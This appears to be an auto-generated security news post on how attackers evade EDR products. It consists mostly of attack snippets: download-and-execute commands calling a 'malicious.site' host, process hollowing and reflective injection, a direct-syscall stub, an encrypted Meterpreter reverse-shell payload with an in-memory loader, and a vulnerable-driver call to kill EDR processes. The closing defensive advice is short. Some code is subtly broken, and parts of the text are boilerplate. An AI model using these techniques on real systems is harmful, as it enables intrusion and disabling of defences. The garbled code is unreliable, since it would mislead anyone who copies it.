Ghosts in the Endpoint: How Attackers Evade Modern EDR Solutions

Attackers continuously evolve their techniques to bypass Endpoint Detection and Response (EDR) solutions. This article dives deep into five key evasion categories, including Living off the Land (LOLBins), process injection, hook bypassing, in-memory evasion, and EDR tampering.

Read the full article here

You Should Know:

1. Living off the Land (LOLBins)

Attackers abuse trusted system utilities to blend malicious actions with legitimate operations.

Common LOLBins:

• PowerShell:

  powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')" 
  

• CertUtil:

  certutil -urlcache -split -f http://malicious.site/payload.exe C:\Windows\Temp\payload.exe 
  

• WMI:

  wmic process call create "C:\Windows\System32\notepad.exe" 
  

2. Process Injection

Attackers hide malicious code inside legitimate processes.

Techniques & Commands:

• Process Hollowing (C++):

  CreateProcessA("explorer.exe", ..., CREATE_SUSPENDED, ...); 
  ZwUnmapViewOfSection(targetProcess, baseAddress); 
  VirtualAllocEx(targetProcess, newBaseAddress, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
  WriteProcessMemory(targetProcess, newBaseAddress, payload, size, NULL); 
  SetThreadContext(targetProcess, &context); 
  ResumeThread(targetProcess); 
  

• PowerShell Reflection Injection:

  $bytes = [System.IO.File]::ReadAllBytes("payload.bin"); 
  $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($bytes.Length); 
  [System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $mem, $bytes.Length); 
  $thread = [System.Threading.Thread]::Start($mem); 
  

3. Hook Bypassing (Direct Syscalls)

Bypassing EDR API hooks using direct syscalls.

Example (NtAllocateVirtualMemory in C):

__declspec(naked) NTSTATUS NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) { 
__asm { 
mov r10, rcx 
mov eax, 0x18 // Syscall number for NtAllocateVirtualMemory 
syscall 
ret 
} 
} 

4. In-Memory Evasion (Encrypted Payloads)

Running payloads entirely in memory to avoid disk detection.

Metasploit Example:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 -f raw -o payload.bin 
cat payload.bin | openssl enc -aes-256-cbc -salt -pass pass:malware123 -out encrypted_payload.bin 

Extraction & Execution (PowerShell):

$encrypted = Get-Content encrypted_payload.bin -Raw; 
$key = [System.Text.Encoding]::UTF8.GetBytes("malware123"); 
$iv = $encrypted[0..15]; 
$decrypted = [System.Security.Cryptography.Aes]::Create().CreateDecryptor($key, $iv).TransformFinalBlock($encrypted, 16, $encrypted.Length - 16); 
[System.Reflection.Assembly]::Load($decrypted).EntryPoint.Invoke($null, $null); 

1. EDR Tampering (BYOVD – Bring Your Own Vulnerable Driver)

Disabling EDR using kernel-level exploits.

Example (Terminating EDR Process via Vulnerable Driver):

HANDLE hDevice = CreateFileA("\\.\vulnerable_driver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 
DeviceIoControl(hDevice, 0xDEADBEEF, &target_pid, sizeof(DWORD), NULL, 0, NULL, NULL); 
CloseHandle(hDevice); 

What Undercode Say

EDR evasion techniques are becoming more sophisticated, requiring defenders to adopt advanced detection strategies. Monitoring for abnormal LOLBin usage, detecting direct syscalls, and hardening kernel drivers are critical. Security teams should implement:
– Behavioral analysis (e.g., detecting PowerShell spawning rundll32.exe).
– Memory scanning for injected code.
– Driver signature enforcement (Block unsigned drivers via bcdedit /set nointegritychecks off).

Prediction

As EDR solutions improve, attackers will shift towards AI-assisted evasion and firmware-level persistence (e.g., UEFI rootkits).

Expected Output:

• URL: Ghosts in the Endpoint: How Attackers Evade Modern EDR Solutions
• Key Commands: PowerShell, CertUtil, WMI, Syscalls, Metasploit, AES decryption.
• Defensive Measures: Sysmon logging, memory scanning, driver enforcement.

References:

Reported By: Patrick Bareiss – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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